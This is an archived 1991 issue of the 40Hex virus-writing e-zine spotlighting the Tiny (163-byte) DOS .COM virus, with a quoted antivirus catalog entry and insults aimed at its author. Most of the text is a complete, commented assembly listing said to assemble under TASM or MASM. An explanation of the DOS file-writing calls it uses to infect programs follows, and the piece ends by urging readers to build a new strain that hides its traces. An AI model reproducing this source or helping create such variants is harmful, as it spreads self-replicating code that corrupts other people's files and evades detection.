home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / 40HEX-01.ZIP / 40HEX-1.001 < prev    next >
Encoding:
Text File  |  1991-06-26  |  9.0 KB  |  240 lines

  1. 40H Vmag Issue 1 Volume 1                                               00001
  2.  
  3.  
  4.                           - VIRUS SPOTLIGHT -
  5.  
  6.  
  7.      The first virus I would like to spotlight is the Tiny virus, lets see
  8. what our good friend Patti Hoffman (bitch) has written about it.
  9.  
  10.  Name:        Tiny
  11.  Aliases:     163 COM Virus, Tiny 163 Virus, Kennedy-163
  12.  V Status:    Rare
  13.  Discovery:   June, 1990
  14.  Symptoms:    COMMAND.COM & .COM file growth
  15.  Origin:      Denmark
  16.  Eff Length:  163 Bytes
  17.  Type Code:   PNCK - Parasitic Non-Resident .COM Infector
  18.  Detection Method:  ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+
  19.  Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infected
  20. files
  21.  General Comments:
  22.        The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason
  23.        of Iceland in June 1990.  This virus is a non-resident generic
  24.        .COM file infector, and it will infect COMMAND.COM.
  25.  
  26.        The first time a file infected with the 163 COM Virus is executed,
  27.        the virus will attempt to infect the first .COM file in the
  28.        current directory.  On bootable diskettes, this file will normally
  29.        be COMMAND.COM.  After the first .COM file is infected,each time
  30.        an infected program is executed another .COM file will attempt to
  31.        be infected.  Files are infected only if their original length is
  32.        greater than approximately 1K bytes.
  33.  
  34.        Infected .COM files will increase in length by 163 bytes, and have
  35.        date/time stamps in the directory changed to the date/time the
  36.        infection occurred.  Infected files will also always end with this
  37.        hex string: '2A2E434F4D00'.
  38.  
  39.        This virus currently does nothing but replicate, and is the
  40.        smallest MS-DOS virus known as of its isolation date.
  41.  
  42.        The Tiny Virus may or may not be related to the Tiny Family.
  43.        ^like she'd know the difference!
  44.  
  45. OK, Theres the run down on the smallest MS-DOS virus known to man.  As for
  46. it being detected by SCAN we'll see about that.
  47.  
  48. Here is a dissasembly of the virus, It can be assembled under Turbo Assembler
  49. or MASM.
  50.  
  51. -----------------------------------------------------------------------------
  52.  
  53. PAGE  59,132
  54.  
  55.  
  56. data_2e         equ     1ABh                    ;start of virus
  57.  
  58. seg_a           segment byte public             ;
  59.                 assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code
  60.  
  61.  
  62.                 org     100h                    ;orgin of all COM files
  63. s               proc    far
  64.  
  65. start:
  66.                 jmp     loc_1                   ;jump to virus
  67.  
  68.  
  69. ;this is a replacement for an infected file
  70.  
  71.                 db      0CDh, 20h, 7, 8, 9      ;int 20h
  72.                                                 ;pop es
  73.  
  74. loc_1:
  75.                 call    sub_1                   ;
  76.  
  77.  
  78.  
  79. s               endp
  80.  
  81.  
  82. sub_1           proc    near                    ;
  83.                 pop     si                      ;locate all virus code via
  84.                 sub     si,10Bh                 ;si, cause all offsets will
  85.                 mov     bp,data_1[si]           ;change when virus infects
  86.                 add     bp,103h                 ;a COM file
  87.                 lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
  88.                 xor     cx,cx                   ;clear cx - find only normal
  89.                                                 ;attributes
  90.                 mov     ah,4Eh                  ;find first file
  91. loc_2:
  92.                 int     21h                     ;
  93.  
  94.                 jc      loc_6                   ;no files found? then quit
  95.                 mov     dx,9Eh                  ;offset of filename found
  96.                 mov     ax,3D02h                ;open file for read/write access
  97.                 int     21h                     ;
  98.  
  99.                 mov     bx,ax                   ;save handle into bx
  100.                 mov     ah,3Fh                  ;read from file
  101.                 lea     dx,[si+1A8h]            ;offset of save buffer
  102.                 mov     di,dx                   ;
  103.                 mov     cx,3                    ;read three bytes
  104.                 int     21h                     ;
  105.                 
  106.                 cmp     byte ptr [di],0E9h      ;compare buffer to virus id
  107.                                                 ;string
  108.                 je      loc_4                   ;
  109. loc_3:
  110.                 mov     ah,4Fh                  ;find the next file
  111.                 jmp     short loc_2             ;and test it
  112. loc_4:
  113.                 mov     dx,[di+1]               ;lsh of offset
  114.                 mov     data_1[si],dx           ;
  115.                 xor     cx,cx                   ;msh of offset
  116.                 mov     ax,4200h                ;set the file pointer
  117.                 int     21h                     ;
  118.  
  119.                 mov     dx,di                   ;buffer to save read
  120.                 mov     cx,2                    ;read two bytes
  121.                 mov     ah,3Fh                  ;read from file
  122.                 int     21h                     ;
  123.  
  124.                 cmp     word ptr [di],807h      ;compare buffer to virus id
  125.                 je      loc_3                   ;same? then find another file
  126.  
  127. ;heres where we infect a file
  128.  
  129.                 xor     dx,dx                   ;set file pointer
  130.                 xor     cx,cx                   ;ditto
  131.                 mov     ax,4202h                ;set file pointer
  132.                 int     21h                     ;
  133.  
  134.                 cmp     dx,0                    ;returns msh
  135.                 jne     loc_3                   ;not the same? find another file
  136.                 cmp     ah,0FEh                 ;lsh = 254???
  137.                 jae     loc_3                   ;if more or equal find another file
  138.  
  139.                 mov     ds:data_2e[si],ax       ;point to data
  140.                 mov     ah,40h                  ;write to file
  141.                 lea     dx,[si+105h]            ;segment:offset of write buffer
  142.                 mov     cx,0A3h                 ;write 163 bytes
  143.                 int     21h                     ;
  144.  
  145.                 jc      loc_5                   ;error? then quit
  146.                 mov     ax,4200h                ;set file pointer
  147.                 xor     cx,cx                   ;to the top of the file
  148.                 mov     dx,1                    ;
  149.                 int     21h                     ;
  150.  
  151.                 mov     ah,40h                  ;write to file
  152.                 lea     dx,[si+1ABh]            ;offset of jump to virus code
  153.                 mov     cx,2                    ;two bytes
  154.                 int     21h                     ;
  155.  
  156. ;now close the file
  157.  
  158. loc_5:
  159.                 mov     ah,3Eh                  ;close file
  160.                 int     21h                     ;
  161.  
  162. loc_6:
  163.                 jmp     bp                      ;jump to original file
  164.  
  165. data_1          dw      0                       ;
  166.                 db      '*.COM',0               ;wild card search string
  167.  
  168.  
  169. sub_1           endp
  170. seg_a           ends
  171.                 end     start
  172.  
  173.  
  174. -----------------------------------------------------------------------------
  175.  
  176. Its good to start off with a simple example like this.  As you can see
  177. what the virus does is use the DOS 4Eh function to find the firsy COM file
  178. in the directory.  If no files are found the program exits.  If a file is
  179. found it compares the virus id string (the virus jump instruction) to the
  180. first two bytes of the COM file.  If they match the program terminates.
  181. If they don't match the virus will infect the file.  Using two key MS-DOS
  182. functions to infect.
  183.  
  184. The first -
  185.  
  186. INT 21h Function 42h
  187. SET FILE POINTER
  188.  
  189. AH   =   42h
  190. AL   =   method code
  191. BX   =   file handle
  192. CX   =   most significant half to offset
  193. DX   =   least "                       "
  194.  
  195. If there is an error in executing this function the carry flag will be set,
  196. and AX will contian the error code.  If no error is encountered
  197.  
  198. DX   =   most significant half of file pointer
  199. AX   =   least "                             "
  200.  
  201.  
  202. The second (and most) important function used by any virus is
  203.  
  204.  
  205. INT 21h Function 40h
  206. WRITE TO FILE OR DEVICE
  207.  
  208. AH    =   40h
  209. BX    =   handle
  210. CX    =   number of bytes to write
  211. DS:DX =   segment of buffer
  212.  
  213. Returns
  214.  
  215. AX    =   bytes transferred
  216.  
  217. on error
  218.  
  219. AX    =  Error Code and flag is set.
  220.  
  221.  
  222. An example of Function 40h is ----
  223.  
  224.  
  225.      mov     ah,40h                   ;set function
  226.      mov     bx,handle                ;load bx with handle from prev open
  227.      mov     cx,virus_size            ;load cx with # of bytes to write
  228.      mov     dx,offset write_buffer   ;load dx with the offset of what to
  229.                                       ;write to file
  230.      int     21h                      ;
  231.  
  232.  
  233. This function is used by 98% of all MS-DOS viruses to copy itself to a
  234. victim file.
  235.  
  236.  
  237. Now heres a sample project -  create a new strain of Tiny, have it restore
  238. the original date and time etc...
  239.  
  240.                                                                           HR
  241.